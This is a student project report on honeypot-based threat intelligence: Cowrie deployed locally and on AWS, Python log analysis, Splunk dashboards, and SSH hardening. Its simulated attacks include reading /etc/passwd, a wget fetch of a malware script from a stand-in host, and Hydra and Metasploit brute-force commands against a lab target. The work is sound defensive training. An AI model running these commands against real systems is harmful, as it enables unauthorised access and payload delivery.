

**CENTRE FOR DEVELOPMENT OF ADVANCED COMPUTING (C-DAC),
THIRUVANANTHAPURAM, KERALA**

A PROJECT REPORT ON –

**Integrated Threat Intelligence, SOC Monitoring & Vulnerability Assessment Using
Honeypot-Based Attack Simulation**



PG-DCSF February 2026

BY Group Number – 06

Pradhun Prakash Jacob
Gacche Pratiksha Ram
Akula Naveen Kumar
Mohit Raghunath Baraskar
Likhitha Panneeru
Neethu P Surendran

PRN: 260260940038
PRN: 260260940039
PRN: 260260940006
PRN: 260260940031
PRN: 260260940027
PRN: 260260940033

Under The Guidance

Mr. Jayaram
Centre Coordinator

Mr. Jayaram
Project Guide

Table of Contents

1. Introduction

2. Local Honeypot Deployment Using Cowrie

2.1 Introduction

2.2 Architecture and Tools

2.3 Deployment Code / Commands

2.4 Attack Simulation

2.5 Execution Flow

3. Cloud Honeypot Deployment on AWS EC2

3.1 Introduction

3.2 Deployment Steps

3.3 Real-World Attack Findings

3.4 Execution Flow

4. Threat Intelligence Analysis Using Python

4.1 Introduction

4.2 Code Overview

4.3 Report Generation

4.4 Execution Flow

5. Vulnerability Assessment & Penetration Testing (SSH Brute-Force & Hardening)

5.1 Introduction

5.2 Network Reconnaissance & Exploitation

5.3 System Remediation & Hardening Verification

5.4 Execution Flow

6. SIEM Integration Using Splunk

6.1 Introduction

6.2 Data Ingestion

6.3 Dashboard and Analysis

7. Conclusion

8. References

1. Introduction

This project implements an end-to-end cybersecurity threat detection and analysis system built around three integrated components: a honeypot deployed both locally and on a public cloud server, a Python-based threat intelligence pipeline for log analysis, and a Vulnerability Assessment and Penetration Testing (VAPT) exercise against a real, critical software vulnerability. A Security Information and Event Management (SIEM) platform, Splunk, was additionally configured to centralize, visualize, and analyze the collected data.

A honeypot is a decoy system deliberately designed to appear as a legitimate, vulnerable target so that attackers interact with it instead of real infrastructure, while every action they take is silently logged. This project uses Cowrie, an open-source SSH/Telnet honeypot, deployed first in a controlled local environment and then on a public-facing AWS EC2 instance. The local deployment was used to simulate realistic attacker behaviour under controlled conditions, while the cloud deployment was left exposed to the public internet to capture genuine, unsolicited attack traffic from real-world sources.

The captured log data was processed using a custom Python analysis script that extracts key threat intelligence indicators — attack frequency, commonly attempted usernames and passwords, executed commands, and successful compromise events — and generates visual summaries using Matplotlib.

To bridge threat intelligence with defensive operations, the project emulated the captured attack vectors inside an isolated internal lab. Using Kali Linux tools (Nmap, Hydra, and Metasploit Framework), we targeted a vulnerable host (Metasploitable2) to confirm exploitability. Finally, system remediation was applied on an Ubuntu host by hardening the OpenSSH daemon (`sshd_config`)—enforcing SSH key-based authentication, disabling direct root logins, and disabling password-based authentication. All log streams were ingested into Splunk SIEM for centralized analyst visualization.

2. Local Honeypot Deployment Using Cowrie

2.1 Introduction

The first component of this project is a locally deployed honeypot using Cowrie, a widely used open-source honeypot that emulates an SSH and Telnet server. Cowrie presents itself as a genuine Linux system to any connecting client, accepts login attempts, and — once a session is established emulates a realistic shell environment, allowing attacker commands to be captured without any actual system being compromised. This component was deployed on a Kali Linux environment running under Windows Subsystem for Linux (WSL2), using Docker to containerize the honeypot service.

2.2 Architecture and Tools

Component	Tool / Technology	Purpose
Attacker environment	Kali Linux (via WSL2/VM)	Provides Nmap, Hydra, Metasploit and other offensive security tools
Containerization	Docker	Runs Cowrie as an isolated, lightweight container
Honeypot software	Cowrie	Emulates an SSH/Telnet server and logs all attacker interaction
Brute-force testing	Hydra	Automates credential-guessing attacks against the honeypot

2.3 Deployment Code / Commands

The honeypot container was deployed using the following command:

```
docker run -p 2222:2222 -p 2223:2223 --name cowrie -d cowrie/cowrie
```

This command downloads the official Cowrie image and starts it as a background container, exposing port 2222 (emulated SSH) and port 2223 (emulated Telnet) to the host machine.

```
ssh -p 2222 root@localhost
```

```
whoami
```

```
uname -a
```

```
cat /etc/passwd
```

```
wget http://example.com/malware.sh
```

```
ps aux
```

```
exit
```

2.4 Attack Simulation

To generate realistic, varied attack data, the honeypot was manually attacked using multiple simulated attacker profiles (root, admin, test, ubuntu), each executing a distinct set of reconnaissance and post-exploitation commands, for example:

In addition, an automated brute-force attack was performed using Hydra to simulate credential-guessing behaviour typical of real-world attackers:

```
hydra -l root -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://127.0.0.1 -t 4
```

2.5 Execution Flow

- Deploy the Cowrie container using Docker.
- Simulate multiple attacker sessions with varied usernames and command sequences.
- Execute an automated brute-force attack using Hydra.
- Extract structured JSON logs from the container for analysis (see Section 4).

3. Cloud Honeypot Deployment on AWS EC2

3.1 Introduction

To capture genuine, real-world attacker behaviour rather than only simulated activity, an identical Cowrie honeypot was deployed on a public-facing Amazon Web Services (AWS) EC2 instance. Unlike the local deployment, this honeypot's ports were opened to the entire internet (source 0.0.0.0/0), allowing it to be discovered and attacked independently by unknown, real-world threat actors.

3.2 Deployment Steps

- An Ubuntu Server EC2 instance (t2.micro, AWS Free Tier eligible) was launched with a public IPv4 address.
- The instance's security group was configured to allow inbound traffic on all ports from 0.0.0.0/0, replicating the exposure of a genuine internet-facing service.
- Docker was installed on the instance, and the same Cowrie container image used in the local deployment was launched:

```
sudo apt install docker.io -y
```

```
sudo systemctl start docker
```

```
docker run -p 2222:2222 -p 2223:2223 --name cowrie -d cowrie/cowrie
```

3.3 Real-World Attack Findings

Within approximately 24 hours of deployment, the honeypot recorded connection attempts from multiple independent, unsolicited internet sources. Over the full monitoring period, the following was observed:

Metric	Value
Total connection attempts	20+
Unique source IP addresses	12
Successful unauthorized logins	2 (independent real attackers) + 4 (controlled Hydra brute-force test)
Example compromised credentials	root / K3sXpvE1rZ (source: 111.229.161.160); admin / admin, admin / 123, admin / 12345, admin / console

Analysis of the SSH client signatures associated with these connections (e.g. `russh`, `libssh`, `paramiko`-based clients) confirmed that the observed activity originated from automated scanning and credential-stuffing tools rather than manual, human-operated attacks — consistent with the behaviour of internet-wide botnet scanning infrastructure.

3.4 Execution Flow

- Provision public AWS EC2 instance and configure NAT port redirection.
- Expose instance to public internet and passively collect attack telemetry.
- Export generated *cowrie.json* logs for analysis.

4. Threat Intelligence Analysis Using Python

4.1 Introduction

To convert raw honeypot logs into actionable threat intelligence, a custom Python script was developed to parse Cowrie's structured JSON log output and automatically extract key statistics: total connection attempts, most frequently attempted usernames and passwords, executed commands, successful login events, and file download/upload activity. The script additionally generates visual summaries using the Matplotlib library.

4.2 Code Overview

The script performs the following operations, in order:

- Reads the honeypot's JSON log file line by line and parses each entry.
- Uses Python's `collections.Counter` to tally event types, usernames, passwords, and commands.
- Extracts and lists all successful login events, including source IP and timestamp.
- Generates five visualizations: event type breakdown, top usernames, top passwords, top commands, and a timeline of connection attempts.

Core extract of the analysis script:

```
import json

from collections import Counter

import matplotlib.pyplot as plt

from datetime import datetime


LOG_FILE = "cowrie.json"


events = []

with open(LOG_FILE, "r") as f:

    for line in f:

        line = line.strip()

        if not line:
```



```

        continue

    try:
        events.append(json.loads(line))

    except json.JSONDecodeError:
        continue

event_types = Counter(e.get("eventid", "unknown") for e in events)

login_success = [e for e in events if e.get("eventid") == "cowrie.login.success"]
login_failed = [e for e in events if e.get("eventid") == "cowrie.login.failed"]

usernames_tried = Counter(e.get("username", "?") for e in (login_success + login_failed))
passwords_tried = Counter(e.get("password", "?") for e in (login_success + login_failed))

commands = [e for e in events if e.get("eventid") == "cowrie.command.input"]
command_counter = Counter(e.get("input", "?") for e in commands)

# Visualization (example: top usernames)

plt.figure(figsize=(8, 5))

labels, counts = zip(*usernames_tried.most_common(10))

plt.bar(labels, counts, color="indianred")

plt.title("Top Usernames Tried Against Honeypot")

plt.savefig("chart_usernames.png")

```

4.3 Report Generation

The script prints a structured console summary and saves five chart images (chart_event_types.png, chart_usernames.png, chart_passwords.png, chart_commands.png, chart_timeline.png) for inclusion in analysis reports and dashboards.

Example console output from analysis of the local honeypot dataset (104 total log entries):

Total log entries loaded: 104

Total connection attempts: 11

Successful logins: 9

Failed logins: 1

--- Top Usernames Tried ---

root	5
------	---

admin	3
-------	---

test	1
------	---

ubuntu	1
--------	---

Total commands executed: 24

4.4 Execution Flow

- Extract the honeypot's JSON log file from its Docker container using docker cp.
- Run the analysis script against the extracted file.
- Review console statistics and generated chart images.
- Repeat the same process independently for both the local and cloud honeypot datasets.

5. Vulnerability Assessment & Penetration Testing (SSH Brute-Force & Hardening)

5.1 Introduction

To validate whether the threat intelligence gathered from Cowrie applies to production hosts, a VAPT exercise was executed in an isolated internal lab. Using Kali Linux, we targeted Metasploitable2 to verify credential vulnerability, followed by implementing and verifying SSH hardening controls on an Ubuntu target.

5.2 Network Reconnaissance & Exploitation

Step 1 — Host Discovery & Service Scanning:

Nmap was executed to identify active hosts and confirm OpenSSH availability on Port 22:

```
nmap -sV -p 22 192.168.1.50
```

Step 2 — Password Brute-Forcing via Hydra:

Using the credential dictionary extracted during the Honeypot threat intelligence phase (top_passwords.txt), Hydra was launched against the target:

```
hydra -L top_usernames.txt -P top_passwords.txt ssh://192.168.1.50 -t 4
```

Result: Successfully discovered valid credentials (msfadmin:msfadmin) on the unhardened target system.

Step 3 — Metasploit Session Handling:

The Metasploit Framework module auxiliary/scanner/ssh/ssh_login was executed to automate login validation and spawn interactive shell sessions:

```
msfconsole -x "use auxiliary/scanner/ssh/ssh_login;  
set RHOSTS 192.168.1.50;  
set USERPASS_FILE credentials.txt;  
run"
```

5.3 System Remediation & Hardening Verification

To secure the target system against SSH brute-force attacks, system hardening was applied to /etc/ssh/sshd_config:

1. Disable Password-Based Authentication:

```
PasswordAuthentication no
```

2. Enforce Public Key Authentication:

```
PubkeyAuthentication yes
```

3. Disable Direct Root Login:

```
PermitRootLogin no
```

4. Apply and Restart SSH Service:

```
sudo sshd -t  
sudo systemctl restart sshd
```

Post-Hardening Verification:

Re-running Hydra brute-force tests against the hardened server resulted in instant connection drops (Permission denied (publickey)), effectively neutralizing online credential-guessing attacks.

5.4 Execution Flow

- Execute Nmap recon and service version detection.
- Launch Hydra credential attacks using honeypot-derived wordlists.
- Establish access via Metasploit SSH modules.
- Modify `/etc/ssh/sshd_config` to enforce SSH keys and disable password logins.
- Re-test target host to confirm complete remediation.

6. SIEM Integration Using Splunk

6.1 Introduction

To centralize and analyze the data collected across both honeypot deployments, Splunk Enterprise (free tier) was installed locally and configured as a lightweight Security Information and Event Management (SIEM) platform. This enabled the project to move beyond static, script-based analysis toward interactive, query-driven investigation of the captured security event data.

6.2 Data Ingestion

Splunk was installed and started using the following commands:

```
sudo dpkg -i splunk.deb
```

```
sudo /opt/splunk/bin/splunk start --accept-license --run-as-root
```

The structured JSON log files from both the local and cloud honeypot deployments were uploaded into Splunk via its web-based data ingestion wizard, with each dataset assigned a distinct sourcetype (honeypot_local_attacks and honeypot_cloud_attacks) to allow independent and combined analysis.

6.3 Dashboard and Analysis

A combined SOC dashboard was built within Splunk, incorporating:

- An event-distribution panel comparing volume across honeypot data sources.
- A statistics table quantifying successful compromise events across all monitored sources.

Example Splunk Search Processing Language (SPL) query used to identify successful compromise events across sources:

```
(sourcetype="honeypot_local_attacks" eventid="cowrie.login.success")
```

```
OR (sourcetype="honeypot_cloud_attacks"  
eventid="cowrie.login.success")
```

```
| stats count by sourcetype
```

This centralized dashboard enabled analyst-style correlation across both honeypot deployments from a single interface, mirroring the workflow used by real-world Security Operations Center (SOC) analysts.

7. Conclusion

This project successfully demonstrated an end-to-end cybersecurity threat detection, analysis, and remediation workflow. Deploying Cowrie locally provided a controlled testing ground, while the cloud-based AWS deployment captured real-world botnet interactions and unauthorized credential brute-force attempts.

The custom Python threat intelligence pipeline converted raw JSON telemetry into structured IOCs. These insights were then applied during the internal VAPT phase, where Kali Linux tools (Nmap, Hydra, Metasploit) successfully confirmed host vulnerabilities.

Finally, system remediation via OpenSSH hardening (`sshd_config`) proved that enforcing SSH key-based authentication and disabling root logins completely eliminates password brute-forcing risks. The integration of Splunk SIEM provided centralized visibility, reflecting modern Security Operations Center (SOC) workflows.

8. References

- Cowrie SSH/Telnet Honeypot (official repo): <https://github.com/cowrie/cowrie>
- Cowrie Documentation: <https://docs.cowrie.org>
- OpenSSH Hardening Guide: <https://www.openssh.com/manual.html>
- Nmap Network Mapper Documentation: <https://nmap.org/docs.html>
- Metasploit Framework Documentation: <https://docs.metasploit.com>
- AWS Documentation: <https://docs.aws.amazon.com>
- Splunk Documentation: <https://docs.splunk.com>
- Docker Documentation: <https://docs.docker.com>
- Python Official Documentation: <https://docs.python.org/3/>
- OWASP Top Ten: <https://owasp.org/www-project-top-ten/>